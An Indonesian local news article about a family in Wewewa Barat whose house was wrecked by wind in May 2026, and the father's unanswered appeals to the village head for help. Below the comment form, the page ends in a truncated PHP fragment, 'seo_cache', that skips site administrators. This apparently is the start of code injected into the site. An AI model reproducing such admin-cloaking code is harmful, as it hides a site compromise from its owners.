Berita Desa

Kesulitan Bangun Kembali Rumah yang Rusak Diterpa Angin, Aleks Bili Tanggu Harap Bantuan Pemerintah

×

Kesulitan Bangun Kembali Rumah yang Rusak Diterpa Angin, Aleks Bili Tanggu Harap Bantuan Pemerintah

Sebarkan artikel ini

WEWEWA BARAT, MENARASUMBA.COM – Nasib pilu harus dialami keluarga Aleks Bili Tanggu, warga Desa Laga Lete, Kecamatan Wewewa Barat, Kabupaten SBD setelah rumah tempat bernaung roboh.

Bencana tak diundang menghampiri tatkala angin menghempas atap seng rumah yang saat itu hanya dihuni oleh istri dan anaknya.

“Saat itu saya lagi di Bali mencari nafkah sebagai buruh untuk hidupi keluarga,” ungkap Aleks, Senin (18/05/2026).

Setelah mendapat kabar tentang kejadian pada Selasa (05/05/2026) ini ia bergegas pulang dari Bali.

Pondok darurat tempat Aleks bersama keluarga berlindung saat ini. ( Foto Menara Sumba )

Aleks meminta bantuan kerabat sesama perantau membantunya membeli tiket pesawat.

“Saya khawatir keadaan istri anak yang kehilangan tempat bernaung,” tuturnya.

Tiba di kampung halaman ia harus menghadapi kenyataan dililit kesulitan ketika hendak membangun sebuah pondok sederhana.

Tak didukung biaya, bencana yang menimpanya itu dilaporkan kepada pemerintah desa setempat dengan harapan bisa dibantu.

Alih-alih perhatian datang, justru dua kali mendatangi pimpinan wilayah desa, Aleks harus gigit jari.

“Dua kali saya datangi rumah kepala desa tapi selalu tidak ada di tempat,” bebernya.

Kini pembangunan rumahnya terseok-seok lantaran tak punya biaya.

Ia dan keluarganya harus tinggal dalam sebuah kemah darurat beratap seng bekas menanti iba hati pemerintah.

Aleks makin kebingungan, karena kerja serabutan yang lakoni di Bali untuk menopang biaya kuliah anaknya telah ditinggalkan.

Pun ia tak punya lahan cukup untuk digarap, selain sedikit kintal pekarangan rumah.

“Saya pasrah, kuliah anak saya terganggu dan niat membangun kembali pondok tak bisa dilakukan karena kurang biaya,” akunya polos.

Ia bingung dan tidak tahu lagi harus kemana mencari uluran bantuan yang bisa menolong keluarganya.

“Saya tidak tahu harus kemana lagi, mudah-mudahan ada pihak yang berbaik hati melihat penderitaan kami,” tutupnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>